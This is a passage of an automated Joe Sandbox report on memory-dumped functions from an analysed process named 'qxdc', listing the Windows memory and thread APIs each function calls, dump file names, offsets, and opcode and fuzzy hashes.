Function 05970DC0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05970E6A

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1142044ab83e04b362656e154a564b2f99524a7c9ea6a3d92c8823298a4f6728
Instruction ID: 0ca901e54d94fe0910fdacf6c43306b675d90d7f7b68ce8e83bcee8b39e7fc3f
Opcode Fuzzy Hash: 1142044ab83e04b362656e154a564b2f99524a7c9ea6a3d92c8823298a4f6728
Instruction Fuzzy Hash: 873195B9D04258DFCF10CFA9D984AAEFBB1BF49310F10A42AE815B7210D775A901CF68

Function 05971408 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 059714B4

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 53974bcb13ae2fbb313b4e3d4b99256eee8dbab27f6ec284ec510fb42d4602b6
Instruction ID: db736a21f2939db22a1357d028ab789d3acba7cbeedcfa8e823da6e1219be24a
Opcode Fuzzy Hash: 53974bcb13ae2fbb313b4e3d4b99256eee8dbab27f6ec284ec510fb42d4602b6
Instruction Fuzzy Hash: 9431C8B5D00248DFCF10CFAAD880AEEFBB0BB49310F24A42AE815B7210D775A945CF58

Function 05972838 Relevance: 1.6, APIs: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 059728E2

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 80dd88428837436c7485d82ea6b405f8b1a7f49da43ec5879e92e4616735d41a
Instruction ID: 37bb216857497129b46231a4023916cf0dfc8390ba3921ca44817ff33df778d3
Opcode Fuzzy Hash: 80dd88428837436c7485d82ea6b405f8b1a7f49da43ec5879e92e4616735d41a
Instruction Fuzzy Hash: C33195B9D042599FCF10CFA9D980ADEFBB1BB49310F10A42AE815BB210D775A901CF68

Function 05971410 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 059714B4

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ad104176b31b204e5967380ff6dcda827bc2c6f2c8a6c6e8bd6896fe4345094c
Instruction ID: c9ca1f0d54054651945d208ff2979202fb600ff0d73f2e43a708e1c16e1157cb
Opcode Fuzzy Hash: ad104176b31b204e5967380ff6dcda827bc2c6f2c8a6c6e8bd6896fe4345094c
Instruction Fuzzy Hash: A231B9B5D042589FCF10CFAAD980AEEFBB1BB49310F14942AE815B7210D775A945CF54

Function 05970858 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0597090F

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: de065adea63c156b478d55e87fb257fdc040162a99b8537fc85874806eccb963
Instruction ID: c7ddfe4870bdc071efe37679ab1ad28d59381b7e35f59cced850a5d0372e9d4a
Opcode Fuzzy Hash: de065adea63c156b478d55e87fb257fdc040162a99b8537fc85874806eccb963
Instruction Fuzzy Hash: B541C9B5D05258DFDB10CFAAD884AEEBBF0BF48310F24802AE409B7240D778A945CF94

Function 05B2D9A0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05B2DA44

Memory Dump Source

Source File: 00000008.00000002.2513823110.0000000005B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b20000_qxdc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b451461f69247841991fa8fdedf5e1c05b7a2b2e3fa24fc725539c24d9a81436
Instruction ID: c4d9ff10e91159cea704131eb0f09db59660338da6dd48c002b354e9403d11cc
Opcode Fuzzy Hash: b451461f69247841991fa8fdedf5e1c05b7a2b2e3fa24fc725539c24d9a81436
Instruction Fuzzy Hash: D931C7B4D042589FCF10CFA9D980ADEFBB0BF49310F24A42AE918B7210D775A941CF64

Function 05970860 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0597090F

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: aba37bcded12015228f2ae14008b2e9d8c0c567325e66f886394ac6fe6cce54e
Instruction ID: 219e4fac2b24fe36f34a0004f29a9cb8c7c2792f280a025dd8d025bec61ae0cb
Opcode Fuzzy Hash: aba37bcded12015228f2ae14008b2e9d8c0c567325e66f886394ac6fe6cce54e
Instruction Fuzzy Hash: 8931A8B5D01258DFDB14CFAAD884AEEBBF1BB48310F24802AE419B7240D778A945CF94

Function 05A0CE08 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 05A0CEA2

Memory Dump Source

Source File: 00000008.00000002.2513251989.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5a00000_qxdc.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e42bfb06c553596aaeac1ad2010bc8bf18618088dafb749e3bc8f88185979b7a
Instruction ID: 6af7900e74ccde5295a227c226fb1c308ea6494be312d233b6174b6581eafb7d
Opcode Fuzzy Hash: e42bfb06c553596aaeac1ad2010bc8bf18618088dafb749e3bc8f88185979b7a
Instruction Fuzzy Hash: 8531B9B5D012199FDB10CFA9D980AAEFBF1BF48310F14942AE815B7240D779A945CF94

Function 05A0CE10 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 05A0CEA2

Memory Dump Source

Source File: 00000008.00000002.2513251989.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5a00000_qxdc.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d67b41978a936738dbe0b855022f78b2b04da2973faf4ca1dd405057fd05fb86
Instruction ID: 62e7d4191386b93cd20415f5e315000e89720f12eccf5c2aa8306afd5d0bc863
Opcode Fuzzy Hash: d67b41978a936738dbe0b855022f78b2b04da2973faf4ca1dd405057fd05fb86
Instruction Fuzzy Hash: 9D31DAB4D012189FCF10CFAAD980AAEFBF5BF48320F10942AE804B7240C775A901CF94

Function 01462AE2 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

, xrefs: 01462C6A

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9b6bfa0878803b509c66f665d50a36205946f01eef4cd2424b5cf29da3d93faa
Instruction ID: 6ebaeb72d37502851963536f17c18bfa7b3067cdef4bd5e780dc952cd7faee5d
Opcode Fuzzy Hash: 9b6bfa0878803b509c66f665d50a36205946f01eef4cd2424b5cf29da3d93faa
Instruction Fuzzy Hash: 7B416F70E0425AEFCB05CFA8C4849AEBBB5FF44308F2485AAC401EB365D7749E46CB52

Function 05B2EF68 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 05B2F007

Memory Dump Source

Source File: 00000008.00000002.2513823110.0000000005B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b20000_qxdc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4b546e36212058e436c6dbde44ce27f619de1e4677741464d905dcc3444700e6
Instruction ID: a2200b3dbacbf2a807b625375408f49d88650d2336f7da04b149daf777e1dd94
Opcode Fuzzy Hash: 4b546e36212058e436c6dbde44ce27f619de1e4677741464d905dcc3444700e6
Instruction Fuzzy Hash: 2931B8B5D00258DFCF10CFA9D880AAEFBB1BF49310F20942AE819B7210D775A941CFA4

Function 05970080 Relevance: 1.3, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 05970106

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5364aa9ca9ac39db4d9c3628fe130fdd95aeb84473822c9105d3941d0061c873
Instruction ID: d22105b08d056bece6619eeda719811f7645e6f572fe51994cc1c4b64f96b2bb
Opcode Fuzzy Hash: 5364aa9ca9ac39db4d9c3628fe130fdd95aeb84473822c9105d3941d0061c873
Instruction Fuzzy Hash: 6831DCB5D042199FDB14CFAAD985AEEFBB4AF48320F14942AE415B7240C778A901CFA4

Function 05970088 Relevance: 1.3, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 05970106

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 083a33ba6e939af3d8b71bb7af2ee6baa3f5e09d79e22cfbead2ad610735b52d
Instruction ID: b7e88b09c21f4023a4711d2bac13f0dee680760e4e5b7285dc77813c1c390877
Opcode Fuzzy Hash: 083a33ba6e939af3d8b71bb7af2ee6baa3f5e09d79e22cfbead2ad610735b52d
Instruction Fuzzy Hash: 1031ECB4C042199FDF14CFAAD985AEEFBB4BF48310F14942AE415B7200C778A901CF64

Function 05D816EE Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

t, xrefs: 05D8177A

Memory Dump Source

Source File: 00000008.00000002.2514050055.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5d80000_qxdc.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: 254caa52330f7ba2190bf133e63fe5846fbe0b7212369f04f26554b2643d79da
Instruction ID: 6bb92975a31504c6afe81335e660ea1d0bf65a1c5750832fb0322e9bf5de330a
Opcode Fuzzy Hash: 254caa52330f7ba2190bf133e63fe5846fbe0b7212369f04f26554b2643d79da
Instruction Fuzzy Hash: FB01D278A052699FDB64DF18C8A8A99BBB5FF49310F5044D9A909B3384DB30AF85CF40

Function 05D81E8F Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

s, xrefs: 05D81EDF

Memory Dump Source

Source File: 00000008.00000002.2514050055.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5d80000_qxdc.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: 682753a31a6fc7dc6be6fdb0861ac2af5a7564e11dd7d86c34d6002342f55110
Instruction ID: 3639cef7fc54a25ac88ed1b0f4bc5093363615edc61c26b09326d1d2e53309fd
Opcode Fuzzy Hash: 682753a31a6fc7dc6be6fdb0861ac2af5a7564e11dd7d86c34d6002342f55110
Instruction Fuzzy Hash: 82F09D74911229DFEB60DF24C889BA9B7B2AB88320F1041E6D40DA3640DB316AD8CF05

Function 05935C18 Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

Z, xrefs: 05936C36

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-1505515367
Opcode ID: 8fddf07b234139600d19fef735bd8d4ddcde4f6091f29f3aa4388e4f5f7d1e42
Instruction ID: cb725decd2e87310eef23af754b23f0856a0af945b8cfb2bb04fa6e624a56bab
Opcode Fuzzy Hash: 8fddf07b234139600d19fef735bd8d4ddcde4f6091f29f3aa4388e4f5f7d1e42
Instruction Fuzzy Hash: 0DE092B4906218CBCF61CF54D8497EEBBB1EB08315F205196940972250C7B05E89CF19

Function 0593E3A0 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e0de94d7532fb5cf6679df48be1d409a5052a548447106669e797491570a63
Instruction ID: 5adb42c07724c847012f385f8e52feed04cae426b95c93a92c129affd7c032ed
Opcode Fuzzy Hash: 37e0de94d7532fb5cf6679df48be1d409a5052a548447106669e797491570a63
Instruction Fuzzy Hash: 9A52F875A00228CFDB64DF69C985BEDBBF6BB88300F1541D9E549AB391DA309D80CF61

Function 056A091A Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2511980733.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_56a0000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa9806233b9bdc7862d7f910f955ece90a1387545676eb16ac50544cbe9bc7b
Instruction ID: f87c7f74dd9c37d1db3d81a802245ba7f17726bffde93ae6f5423cb01b6c105d
Opcode Fuzzy Hash: 3aa9806233b9bdc7862d7f910f955ece90a1387545676eb16ac50544cbe9bc7b
Instruction Fuzzy Hash: 7D129D7190E3C59FD7239B748C19BAA7F74AB02314F1941DBE1849B2E3C6B84D45CB22

Function 0593F217 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 504ec7b2450607e7eb1752c5d8c0cba29ed474d556cbbeec9f47ca1c2e97baef
Instruction ID: 8b6e00036362575dbbd1318b4b2b57e6b0d3f6306b6f1029701e24c70b47e901
Opcode Fuzzy Hash: 504ec7b2450607e7eb1752c5d8c0cba29ed474d556cbbeec9f47ca1c2e97baef
Instruction Fuzzy Hash: C4E18875B18202CFDB14DF68C49667ABBE6FF85310F194469E983CB3A1DA38CC518B61

Function 0593CAC8 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d28391612e1a37a1a1c165472162e9f8aec62e547084c3717c468edc6f5441d0
Instruction ID: 114c44e05300b78578316cf7a4a39881a51dbb5d47b5f226c3fe91b4ec6ce8d7
Opcode Fuzzy Hash: d28391612e1a37a1a1c165472162e9f8aec62e547084c3717c468edc6f5441d0
Instruction Fuzzy Hash: 56D14E32A00215DFCB15DFA4C954E99BBB6FF88310F064498E609AB272CB72ED55DF90

Function 0593D4C0 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e9957c697b87f2f2e130f12e859195ba5404f5ae5d49bfaf5673d15851f28
Instruction ID: 6d63ccea9907919e7064378e13cc84687066bb25935608dd348b88e1d527abc5
Opcode Fuzzy Hash: 5e1e9957c697b87f2f2e130f12e859195ba5404f5ae5d49bfaf5673d15851f28
Instruction Fuzzy Hash: 35F1CA34B10218DFCB05DFA4D999A9DBBB6FF89300F158158E906AB3A5DB70EC42CB51

Function 056A18C0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2511980733.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_56a0000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d335a481b3ec0a47fae76b3f6a21f66b4f3b294bd9c65a26f33076fa3be5095
Instruction ID: 4706a4782bdf18256534f73426b9b22e9a2a44e6f04ee94542802941efbbb1ee
Opcode Fuzzy Hash: 5d335a481b3ec0a47fae76b3f6a21f66b4f3b294bd9c65a26f33076fa3be5095
Instruction Fuzzy Hash: 04F1D374E05218DFCB24DFA4E598AADBBB6FF4A315F204029E406A7398DB355D86CF00

Function 0146E540 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b15e2e8d48ea9b0b329fbef5107bdaeec64acef225a432a7dab1c680fe0357
Instruction ID: 6ed4037df602a1cf544b1e26846f9a4de2a555582892ed73fdab8fea4ec4c0fc
Opcode Fuzzy Hash: 68b15e2e8d48ea9b0b329fbef5107bdaeec64acef225a432a7dab1c680fe0357
Instruction Fuzzy Hash: FEB1DF363002158FEB18DF69D854AAE7BE6EFC4614B18807AE905DB3A5CF35DC02CB91

Function 0593E390 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce6f4a7890a615ec30e1d7cd36b67f998ee8f08b195be7f8228aa48301e2e3da
Instruction ID: 0d06e50e6ddf68131cca41150bb92c5608e2724f5fbc4d5459c1c8b14251c4f0
Opcode Fuzzy Hash: ce6f4a7890a615ec30e1d7cd36b67f998ee8f08b195be7f8228aa48301e2e3da
Instruction Fuzzy Hash: 4AC13F75A00228DFDB18DB68C945BEDBBF6FF88700F158099E509AB391DA709D81CF61

Function 05937858 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beffb676cd7d59c52ebe703ecfac149daf40dc16654fc342978060e6890de6dd
Instruction ID: 8fd08a2a88b050ef8f86e5743d1ec0bfba1eb0c4745521b117810ce512527a71
Opcode Fuzzy Hash: beffb676cd7d59c52ebe703ecfac149daf40dc16654fc342978060e6890de6dd
Instruction Fuzzy Hash: 7EB121B4E0420CDFDB04DFE8D495AADBBF6FF49314F10852AE506AB284DB345A85CB51

Function 0593D4B2 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea766966dd0147d6d26663279b468263d505445d9eb83162bc7dbe6c8ada60b3
Instruction ID: 8d0dc3648c06a68f62e2fe61ee64c3c27ddb97e3907bef78660e73d048dd1d2d
Opcode Fuzzy Hash: ea766966dd0147d6d26663279b468263d505445d9eb83162bc7dbe6c8ada60b3
Instruction Fuzzy Hash: 92A1CE34B10218DFCB04EFA4D999A9DBBB2FF89300F158159E406AB365DB70EC46CB51

Function 05937848 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f21e21c3398fdbb081bcd7b8a63a98f3b4f870250cc08d10a96db17188c57a
Instruction ID: 46881bde322b785513d345545de1730e8160f9fb8ef678c9f6a7a595f75b84c8
Opcode Fuzzy Hash: 35f21e21c3398fdbb081bcd7b8a63a98f3b4f870250cc08d10a96db17188c57a
Instruction Fuzzy Hash: 629134B0E0820DDFCB04DFE8D495AADBBFAFB49304F10856AE506AB244DB345A85CF51

Function 056A27E0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2511980733.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_56a0000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 626dbb7718d6fa67c452d6c1ef80ffb12f66fdae5a94451a82f11e6f9d77d290
Instruction ID: 3b8dda3db11e136aa7a093d3a5400f148e022f49939da0cd75dac824c5e5583a
Opcode Fuzzy Hash: 626dbb7718d6fa67c452d6c1ef80ffb12f66fdae5a94451a82f11e6f9d77d290
Instruction Fuzzy Hash: D891AF79E45208DBCB18DBA9D468AEDBBB6BF49305F509029D816B7394CB309846CF60

Function 0146EE10 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f2e4ecb06324bbabca3422944939a0f33ddcca3a8ca1819b00c315c19f62427
Instruction ID: 24f11015b489b41567899526a2eb1b550357dc44cd03503d46d03ba643e59611
Opcode Fuzzy Hash: 6f2e4ecb06324bbabca3422944939a0f33ddcca3a8ca1819b00c315c19f62427
Instruction Fuzzy Hash: A3814B75A00614CFCB14DF68C49499EBBF9FF88714B1581AAE906AB371DB30EC42CB51

Function 01462800 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43084755d0fb3144353989599bd5feec77927c908a90a4d67a95ee2c36a52e64
Instruction ID: 623c35ae830198d081c885f705a3abd84df00c9026d2371f411c2643e87ca381
Opcode Fuzzy Hash: 43084755d0fb3144353989599bd5feec77927c908a90a4d67a95ee2c36a52e64
Instruction Fuzzy Hash: A8614570200B429FD735DF29C490A27B7F6BF98318B148A1EC48A87B65D7B4F8468B41

Function 01461FE8 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07f3597fd558c98f1b72f12ffe7327037f474271c53f81c858af30b3502f91f2
Instruction ID: dc35e078ced1d66f30f1dd526fa6acd9b6b27bff0348112128d57cd18ffe607e
Opcode Fuzzy Hash: 07f3597fd558c98f1b72f12ffe7327037f474271c53f81c858af30b3502f91f2
Instruction Fuzzy Hash: 6B51B37460C205EFC7258F59C444DAEBBBAEB80318B04861FD656AB631C7B0AE46C793

Function 0593F890 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71fd6c3eea84a9995b23ebbf9fbdcf2eff39c7af86b299b23ecbb7fb885b62d5
Instruction ID: fc1e1ddba0c33b3446f4d3a62a34748e279953bfeb8e7ff74a2324250294ea21
Opcode Fuzzy Hash: 71fd6c3eea84a9995b23ebbf9fbdcf2eff39c7af86b299b23ecbb7fb885b62d5
Instruction Fuzzy Hash: BB418E317042558FDB19DF399855A2E3BEABFC9710B198069E446CB3A1DE38DC02C7A0

Function 0593D090 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b07be9fc755850d5ec00adab51443434c59bff73d2ed0fb4cd402cea45645e9b
Instruction ID: a2a1f416a0cbba856e0d3f48b82c43cf80a0acf04bd0c5e8654d96860fac27a0
Opcode Fuzzy Hash: b07be9fc755850d5ec00adab51443434c59bff73d2ed0fb4cd402cea45645e9b
Instruction Fuzzy Hash: E1515E34B10609DFCB14DB64E469AAEBBB6FFC8701F008119F906973A4DF749946CB81

Function 0593FD71 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d577dfeef9eeb03beb92bb7bd5e4a8637c4c4ce66c0667b5dad90f6bde727db2
Instruction ID: ad7a7d396ecc3dec5d84bbbd52b7d13a1379c93055d01dbf4e9e03e0667a6051
Opcode Fuzzy Hash: d577dfeef9eeb03beb92bb7bd5e4a8637c4c4ce66c0667b5dad90f6bde727db2
Instruction Fuzzy Hash: 43414334B10714CFCB15EB68D4A9A6EB7BBEFC8700F104529E406AB3A4DF74AC468791

Function 0593AF15 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1aba596a3eb20780c7402283ce5e18381fa71737223d5185696028a2cca275e
Instruction ID: 55a2a436ace982003730a7459ec438deed2ca3cfe630f8ded40e11c091fcdb62
Opcode Fuzzy Hash: f1aba596a3eb20780c7402283ce5e18381fa71737223d5185696028a2cca275e
Instruction Fuzzy Hash: B95106B0E09218CFDB14CFA5C956BAEBBB7FF49300F1084AAD459AB254DB744985CF41

Function 01461B62 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb1938b84318509807d410187b4cdc92531db715c359ef546ee631feb37b615
